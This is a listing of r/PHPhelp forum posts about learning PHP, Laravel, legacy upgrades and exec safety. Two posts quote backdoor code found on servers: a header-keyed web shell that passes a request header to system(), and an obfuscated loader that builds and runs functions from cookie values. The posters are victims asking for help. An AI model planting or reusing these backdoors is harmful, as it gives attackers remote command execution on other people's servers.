r/PHPhelp • • Apr 20 '26

Using exec today. Am I a bad php dev?

18 Upvotes

Recently I needed to strip just location data from my user's jpg uploads and used ExifTool with exec to do the job. I tried to make this as safe as possible. I checked the file mime type, changed the file name, and escaped the path (escapeshellarg) when passing it to exec.

Now I need to try to read some text from a jpg and once again my research has pulled me towards running this with Tesseract OCR and exec.

Many years ago I heard that we should not use exec, but I was wondering have things gotten any better? Is it still recommend to not use exec, or is it more or less safe, as long you follow the general security steps of checking the file mime, keeping the call to the program hard coded in the method, and escaping the file path. Or am I a terrible PHP dev?

Thanks.


r/PHPhelp • • Nov 05 '25

Have any of you successfully upgraded a legacy codebase from 5.6 to 8.3?

18 Upvotes

Just started a new job where one of my first projects is trying to get a fairly large legacy project up to date with minimal refactoring. I've attempted this once before (5.4 > 8.2) and it didn't go well. Unfortunately, rewriting from the ground up isn't feasible, and nobody in the company can even get version running via Docker.

I'm looking over Rector to assist with this, but I'm curious to other people's experiences and if there are other tools I should be considering.


r/PHPhelp • • Sep 04 '25

Best place to learn PHP for a beginner?

18 Upvotes

Currently learning front-end HTML and CSS but want to start learning back-end. Can anyone recommend some places to go to for my study? I've looked on udemy and other [places.


r/PHPhelp • • Dec 03 '24

Does PHP complier read all the code at once

18 Upvotes

For example, if I have the following code:

if(1==2){
include "really_big_file.php";
}else{
include "small_file.php";
}

will the compiler read and parse all the code in "really_big_file.php" anyway? I know it will not execute it, but will it read it from disk and load it in memory?


r/PHPhelp • • Sep 22 '22

Tutorial for basic PHP skills ?

18 Upvotes

Recently I've started working on a company that requires some basic PHP skills. I have been working with PHP in past but know I need to refresh my knowledge. Can you suggest some videos with basic skills to help me to remind the basics?


r/PHPhelp • • Mar 25 '21

Solved Found a File on my Server. What does this PHP Snippet do ?

18 Upvotes

Hey i found a php File on my Server. I already deleted it. I am concerned about this. I cant find anything about HTTP_X_KEY or HTTP_X_CW on the web. Where are they used? Where are they set? Code Snippet:

<?php if (sha1($_SERVER['HTTP_X_KEY']) === '32d0703226477059ec090a0c8defc709ce7d0be0') {      system($_SERVER['HTTP_X_CW']);  } ?> 

Thanks in advance for any help.


r/PHPhelp • • Jan 21 '16

I'm behind on PHP. Last version I used was 5.something, in 2013. Need tips and even a book recommendation.

18 Upvotes

So I read this in a comment from a year ago on /r/php:

I'd wager he hasn't actually seen any PHP written in the past 5 years, and there have been huge updates to the language in that time period. Namespaces, anonymous functions, traits, etc, not to mention community-driven projects like Composer and the PHP-FIG. He probably thinks people are still putting require_once all over the top of their PHP files.

...and I freaked out, because that guy being mocked is me. I mean, not really, they're talking about someone else. But it might as well be me. I don't know what a namespace is, what a trait is, and I still put require_once in my code. It's bad now? I've got a fuzzy notion of anonymous functions from some old JavaScript code I wrote a long time ago, but honestly I don't think I could explain it well off the top of my head.

So if an old-school self-taught guy like me wants to get up to speed, what tips can you offer? I am looking at "PHP The Right Way" in the sidebar right now, but to be honest I'm really bad at reading books on screen. I'd love suggestions for an up-to-date dead-tree book that I can highlight and scribble on, if such things exist for PHP anymore. Or just advice in general for an old geezer.

(My interest is in a site for a D&D/Pathfinder game database. There is a series of books/modules centered around the town of Falcon's Hollow and the "Kobold King" that is the evil enemy, and the townsfolk involved in these 5 game modules are changed over the course of the modules, and I'm having trouble tracking them all. So I'd like to start entering data from each module, and then use some nice SELECT statements (do we still use MySQL?) to assemble lists of info (and pictures) about each major character, grouping the data by book/module, so I can see how the character changes.)

Anyway, thanks for any pointers on anything I wrote!


r/PHPhelp • • Sep 16 '25

How to get into PHP coming from Java?

17 Upvotes

Hey guys,

I‘m voluntarily switching jobs, coming from a corporate Java role to a smaller company running on PHP. I‘m holding a masters degree in CS.

Afaik my new company (starting in december) is running PHP 8 with Laravel in Kubernetes for a fairly large web-platform configured for individual customers.

I‘ve been mainly programming Java EE, Spring, Kotlin for about 5 years. I‘m firm with web tech, some JS frameworks. Throw some occasional Python, Shell, SQL, C, Rust into the mix and you get me.

I had very minor experiences with PHP, mainly in one page backends for small tasks / sites.

I‘m looking for getting a grasp of the language, read: core principles, quirks, pitfalls, etc. and a headstart in Laravel.

How did you get into PHP? Any ressources that gave you a deeper understanding of the language or made you appreciate / hate it? Any must see videos, books, papers, blogs?

Thank you!


r/PHPhelp • • Oct 25 '23

Solved Why does noone use `declare(strict_types = 1);` in Laravel project.

17 Upvotes

Hi everyone,

I've been a dev in mobile and desktop for 4-5 years now, but recently switched to a backend role where the team decided to go with Laravel because of tight deadlines. I learned 'vanilla' PHP on the side for small private projects because I was interested in backend dev long before this job. Coming from type safe languages I always liked to use declare(strict_types = 1);. Now in this Laravel Project strict types are nowhere to be seen. And it seems like other Laravel projects also don't bother to use it as well. Even in Tutorials on Laracast.

Never used a PHP framework before so is this the status quo when using a framework?

Edit: Thank you everybody for your 2 cents. Will go forward and use it in my files and prepare for questions from colleagues!


r/PHPhelp • • May 04 '23

Solved Why is `php -r` faster than `php file.php`?

17 Upvotes

Hi! I have this little piece of code:

$ts = microtime(true);
for($i = 0; $i < 1000000000; $i++){}
$te = microtime(true);
echo("Execution time for billion is: ".($te-$ts));

Running it like php file.php yields 8.65 secs

Running it with php -r "code here" yields 2.5 seconds

I understand that there might be difference due to disk operations for file open but it couldnt possibly be 6 seconds, right?

Has anyone got any guesses?

PHP version: PHP 8.2.5 (cli) (built: Apr 14 2023 18:20:28) (NTS)

Id google but dont really have any idea how to even compose a query for this topic

Thanks in advance!


r/PHPhelp • • Jan 03 '23

Mysterious PHP code

17 Upvotes

Relaying this question from a friend who does not use Reddit -- He found a funny-looking PHP file on his WordPress installation named "LgvhK.php", and it looks like this:

$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[22]=$p[22].$p[26])&&($p[16]=$p[22]($p[16]))&&($p=$p[16]($p[24],$p[22]($p[21])))&&$p()):$p;

At a glance, it seems to be trying to read cookies that have been previously set, which sounds fishy to me. Does anyone know what this is trying to do exactly, and whether this is a warning sign of the web application having been compromised?

Thanks in advance.


r/PHPhelp • • Jan 31 '21

Trying to Learn MVC for Laravel but kind of not sold on it , can someone explain/help?

17 Upvotes

SOME BACKGROUND INFO: So I'm sorta a "expert beginner" in PHP which is kind of bad and I came to this conclusion about a week ago. I did not go to school for web dev, in fact my background comes from Indie Game development since I own my own team. I picked up web dev when my previous employer asked if I knew anything about web programming vs making computer software since they were planning on migrating stuff to the Web and their servers were already dependent on MYSQL. I left the employer after creating a very crappy CRM they were surprisingly happy with but I went off to try and start my career. I landed an entry level job with my current employer which the story begins.

EDIT: "Expert beginner" means I suck ass and maxed out the basic fundamentals but not enough to get to a competent stage, ofc I'm doing my best to get out of this cycle being someone who didn't go to school for this and am a High School dropout.

**Presently and my dilemma :**

Every job out there as a fullstack regards to some sort of framework tied to it aka Laravel, I've heard of MVC structures in the past but never really dived deeper into the rabbit hole. I'm currently learning OOP which is fairly simple to get down not to hard if you have any sort of coding background but.... MVC seems to pass me by. In fact it seems my employer has been teaching me shit in the early myspace era without a framework hence.... when I figured out I'm in pretty deep shit.

**The way I was taught By my employer:** the File structure is fairly simple and mostly include oriented.

1.lets say we have 3 pages index.php > about.php > contact.php

2. The index.php has the original "shell" contained only with HTML and no php

3. I split up the Header > Body > Footer into 3 separate php files in a seperate folder called "includes"

4. the file structure looks like

index.php:

<?php

include('includes/header.php');

include('includes/body.php'); ///We change this depending on which file so if its about.php we use "aboutbody.php"

include('includes/footer.php');

?>

this is just a basic example of course sometimes we split up the code based by "section" and include it in the main file but lately i've been just splitting it up into sections and including it in the body.php this allows us to just reuse sections in different parts of the sites etc.

we slap the mysql into a config.php file and then include it on the top of the "header.php" file in case we need to do any database querying.

Sometimes I echo out html elements if we're lets say creating a rankings page we do something like

getRankings.php

$html_str = '';

while ($row = mysqli_fetch_assoc($result)){

$html_str = '<div> <h1>This Company is Ranked #'.$row['rank'].'</h1></div>'

}

and in the main html part of it it'd be like

<div class="container"><?php echo $html_str?></div>

This is echoed out only on "rankings.php"

Now I'm really unsure if this is a good practice or not but my understanding after reading about MVC is that this structure is somewhat similar to MVC albeit without OOP can I say that splitting up the pages into includes is considered the "model"? Would the main pages directly be the "view"? And would be the "config.php" and any function files I include with it be I guess the controller?

I've been reading up docs but its pretty hard to grasp Laravel in general where exactly is Laravel used here? It's pretty bulky and pretty overkill for making web pages for a landing page etc. People tell me it's serverside, so would I lets say use basic php for the landing pages and then use Laravel on the backend for a CRM system aka they are split up into 2 different directories.

In my case we usually create CRM in a separate folder so they'd have to access it like "mypage.com/my-crm".

To my understanding OOP is only really used to prevent the procedural code from firing i looked into one of the previous developers who had worked with my current employer and he built a crm which had a class called "app" which pretty much handled all the operations based on the current page. But it seemed like ALL of the app's functions for all the pages were there.

class app {

//Functions relating to pulling Leads

//Functions relating to pulling sales

//functions relating to pulling users

//functions relating to pulling blah

}

is this the "general idea" of how you would build a php backend app?

Really would like to be enlightened here and please tell me how screwed I am. Where,when and what laravel is specifically used for.

I get that its for the libraries and and all that stuff and probably will learn it eventually... but I know full well I wont improve working here with my boss.

EDIT: FOR ANYONE IN MY POSITION / STUCK and YOU FEEL LIKE YOU DON'T UNDERSTAND MVC or EVEN IF YOU'RE JUST A BEGINNER/LOOKING TO LEARN LARAVEL. I HIGHLY HIGHLY HIGHLY RECCOMEND THIS DUDE. GIVE HIM A CHANCE AND SOME LOVE.

Quick Programming - YouTube

Not only has he taught me the fundamentals of OOP and MVC , he's super responsive and willing to answer your questions on his Facebook page. Just today I asked If he can cover Laravel on his channel since he already covered MVC, He's making a new video as we speak. If you don't know the Fundamentals of MVC or OOP I highly recommend looking at his MVC Template project in which you're able to just use that to build your own or professional projects. When you feel comfortable and want to upgrade, you'll have an understanding of MVC and just need to learn the folder structures for Laravel. He provides PRACTICAL examples of where and when and how you would use something it may not be true for everyone but at least It's close to what I do for my boss on the daily. Godspeed and good luck.


r/PHPhelp • • Jul 18 '12

PHP training via IRC starting now

17 Upvotes

I'll be conducting group training sessions for PHP today. Topics will be whatever you want, from beginner to pro.

  • Server: irc.freenode.net

  • Channel: #learnphp

  • Instructor: tsmith


r/PHPhelp • • May 12 '26

OOP in PHP

16 Upvotes

Hello, I started learning OOP a few days ago. I’ve understood the basic concepts quite well: I can easily create classes and individual methods. However, when it comes to creating a Manager class that requires nesting/interacting objects together, I get completely lost. Do you have any tips, useful references, or is it really just a “click” that comes with practice?

Here’s an example:

For the Game and Loan classes, I didn’t have any difficulties, but this is where I get stuck with Library. The code is “correct” because I got help from AI.

In short: I lose track of the types of objects I’m manipulating as soon as multiple classes interact together.

Thanks in advance for your answers.

<?php
declare(strict_types=1);

class Library
{
    public function __construct(private array $listeGame = [], private array $listeLoan = [])
    {

    }
    public function ajouterJeu(Game $game): void
    {
        $this->listeGame[] = $game;
    }

    public function listerDisponibles(): array
    {
        $jeuxDispos = [];
        foreach ($this->listeGame as $game) {
            if ($game->getDisponibilite() === true) {
                $jeuxDispos[] = $game;
            }
        }

        return $jeuxDispos;
    }

    public function listerEmpruntsActifs(): array
    {
        $empruntsActifs = [];
        foreach ($this->listeLoan as $loan) {
            if (!$loan->getGame()->getDisponibilite()) {
                $empruntsActifs[] = $loan;
            }
        }
        return $empruntsActifs;
    }

    public function emprunter(Game $game, string $emprunteur): void
    {
        $this->listeLoan[] = new Loan($game, $emprunteur, new \DateTime("now"));
        $game->emprunter();
    }

    public function retourner(Loan $loan): void
    {
        $loan->getGame()->retourner();
        $this->listeLoan = array_filter($this->listeLoan, function ($l) use ($loan) {
            return $l !== $loan;
        });
    }
}

r/PHPhelp • • Aug 21 '25

Solved Which payment system should I choose for a native PHP application, and why?

16 Upvotes

Hi everyone,

I’m currently working on a project with a native PHP application (no framework, just plain PHP), and I need to integrate a secure payment system.

I’m a bit lost between different options (Stripe, PayPal, Payoneer, Flutterwave, etc.), and I’d love to hear your advice on:

Which payment gateway works best with a PHP-based system

The pros and cons (fees, integration complexity, security, global support, etc.)

What you personally recommend and why

My main priorities are security, ease of integration, and support for international payments.

Thanks in advance!


r/PHPhelp • • Feb 15 '25

Get overwhelmed by so many new things in Laravel

16 Upvotes

Hi,
I am using PHP almost for 2 years+. I am using CodeIgniter 3 for my projects. I recently installed Laravel and want to use it for my future projects. Yes the documentation is covered a lot but I have came across many new things which seems went over my head. I mean found hard to understand. Specially service container, providers, middleware, etc.

I know I have to learn one by one. I have gone through the documentation. Sometimes understand sometime not. Why making so complex ? Or its appearing hard to me as because I could not understand?

Or Did I left some of core concepts of PHP that's why it found hard now?

Can you please give some advices so that I could understand it in better way?


r/PHPhelp • • Feb 29 '24

Can one server run thousands of Laravel websites just like Wordpress?

16 Upvotes

Coming from a Node background, I was told that each Node server gets replicated for each "website" (because 1 Node server should only handle 1 website for security) and since Node remains in memory for it to work, the number of websites that can be served largely depends on memory size.

I was told that Wordpress based on PHP is a "dormant" website and so it is possible to have virtually unlimited websites hosted on the same server as long as they are not all active at the same time. For example if only 2 or 4 websites get 90% of the traffic and 999 websites get negligible traffic, the single server will handle all those Wordpress websites just fine.

Is Larvel similar to Wordpress in this respect? I figure since both are based on PHP, I should be able to host virtually unlimited websites on 1 server as long as all the websites don't get traffic at the same time?
Or does Laravel have a different architecture than Wordpress and Laravel keeps to keep things in memory like Node?


r/PHPhelp • • Jun 11 '23

/r/PHPhelp blackout

16 Upvotes

Hi everyone.

A few days ago we did a poll to ask the community about joining the blackout to protest against Reddit's API changes.

In total 124 people voted, of which 99 voted for a 48-hour blackout. 19 people voted for no blackout and 6 for a 24-hour blackout. We follow the community's choice and inform you that r/PHPhelp will go private and won't be accessible from June 12th until June 14th.

You can use this thread to share your thoughts if you want to.


r/PHPhelp • • Dec 24 '20

Solved As a complete beginner, where should I start with learning PHP?

16 Upvotes

Hello everyone, u/technoman555 here. I recently began my journey in learning web development in order to earn some cash via freelancing while I'm still in HS. I have asked questions about CS on many different subs, and now I come here to ask questions about PHP.

As the title says, I am an absolute beginner in PHP, that is, I am yet to start learning it.

The only thing I know about PHP is that it is a backend programming language, it's usually paired with SQL and that it's quite unpopular (mostly among people who don't know PHP).

Here are my questions regarding PHP:

  • What books would you recommend me from which I'd start learning PHP?

  • How much and where should I learn SQL and database managment?

  • How well does PHP pair with JavaScript (i.e. how much is PHP used alongside JavaScript when writing code for a freelance job)?

  • What other things should I learn in order to start writing PHP code for freelance jobs?

This next question is about web dev in general:

  • Since I am not very good at designing websites or UI, can I just work as a freelance backend dev without needing to design any websites or UI? If so, what skills alongside PHP and SQL would I need?

As far as my programming experience is concerned, I have been programming in the C programming language for 3+ years and have started learning JavaScript and C# alongside it. I've also recently started relearning embedded systems after a very long hiatus (I was still a beginner at that time and I stopped due to school).

Thank you all in advance for your answers.


r/PHPhelp • • Sep 28 '26

App Written in PHP 4.2

15 Upvotes

How big of a task am I looking at, lol?! I can use sed to recursively go through files and replace old syntax with newer syntax where possible. The app has about 110 files, most less than 100 lines (including comments).

There used to be this neat little php program called ez_results where you could query the DB and feed the results to ez_sql and it would build this nice table with the results (including navigation buttons). I would like to find a replacement for that unless PHP 8.2 (what I am working with) has such a feature.

Thank you and no laughing please! I am digging through a PHP 8.2 book for some answers, the syntax of 4.2 is wildly different!


r/PHPhelp • • Mar 16 '25

Is there a "Blank Webapp Project" PHP template with a folder structure and template files that gives you the basic infrastructure needed for a new open source project?

15 Upvotes

I notice that many projects have a particular type of folder structure, e.g. a vendor folder, src folder, app folder, etc., and there are particular ways to structure namespaces and filenames so that autoloading of classes works in an expected way, and you need a config file etc. etc.

I'm wondering if there is a blank project which has the bare bones of this all in place, ready to be filled in, or if people just build out the structure every time?


r/PHPhelp • • Jun 20 '24

Why is Laravel so popular in the PHP domain?

15 Upvotes

From my perspective, the trend in many modern languages is currently moving towards orchestrating fewer dependencies and packages, making things more manageable again. The keyword here is VanillaWeb. Many former Node.js developers are switching to Go and other languages because they offer a powerful standard library with significantly fewer external dependencies, and thus fewer security risks.

The performance of database queries, etc., is significant. Load times remain important even in 2024.

Laravel requires considerably more initial familiarization. You have to deal with Vite, Composer, NPM, and other things. When working with Eloquent, it feels like you have to rethink first. You have to set aside your SQL knowledge for a while. The question arises: how well is it suited for more complex queries where you are dealing with multiple tables in almost all cases?

I must say, I have always enjoyed working with CodeIgniter 3 & 4. I feel like I understand the system and its underlying principles better and don't have to analyze unwanted behavior. You can use Composer or simply download the 1.1 MB. It is manageable, extremely fast and yet you can implement many of the things that Laravel 11 offers yourself with CodeIgniter 4. You benefit more from previous PHP, SQL knowledge etc.

If something doesn’t work in a fresh Laravel 11 installation in connection with Vite, ressource paths, etc., and others are having the same problem, you end up searching for hours before you can start working on the actual task you got up for. And this despite the fact that I administer Linux servers, have been involved in PHP development for more than 10 years, but then simply have to familiarize myself with the new world of Vite etc.. I still don't understand exactly how all this works together with Laravel and why it doesn't work despite correct VirtualHosts etc. My guess was after >3 hours of searching and research. It is probably a bug that occurs on Windows systems (local Wamp server).

So, what do you think is the reason that Laravel has become so popular? Just good marketing? Have you used multiple MVC frameworks in your projects? How do you compare them? What made you decide for or against Laravel?


r/PHPhelp • • Jun 06 '23

3rd party apps and Reddit Blackout

15 Upvotes

Hi everyone.

This is not a standard post here on PHPHelp, but we feel it's necessary to discuss this topic in the open since all Reddit users will be affected — including us.

On May 31, 2023, Reddit announced they were raising the price to make calls to their API from being free to a level that will kill a lot of third-party apps on Reddit.

An open letter asks subs to initiate a blackout on June 12th.

A blackout means a subreddit will go private for that time. Some subs will do a blackout for 24 hours, and some for 48 hours. This isn't a very big subreddit, but as moderators, we're here to serve this subreddit's interest, so we didn't want to make a decision on our own. Instead, we'll do a poll for you to decide whether you want r/PHPHelp to join this blackout or not. It'll mean you won't be able to use r/PHPHelp for 24 or 48 hours.

Before voting, please take the time to read the open letter and the initiative.

Thanks for sharing your input.

124 votes, Jun 08 '23
19 No, don't do a blackout
6 Yes, blackout for 24 hours
99 Yes, blackout for 48 hours

r/PHPhelp • • Jan 18 '22

How can I check my code/website against vulnerabilities?

15 Upvotes

I'm working on a site with a login system. How can I make sure it is safe?

EDIT: the site is only html and pure php + a mysql db.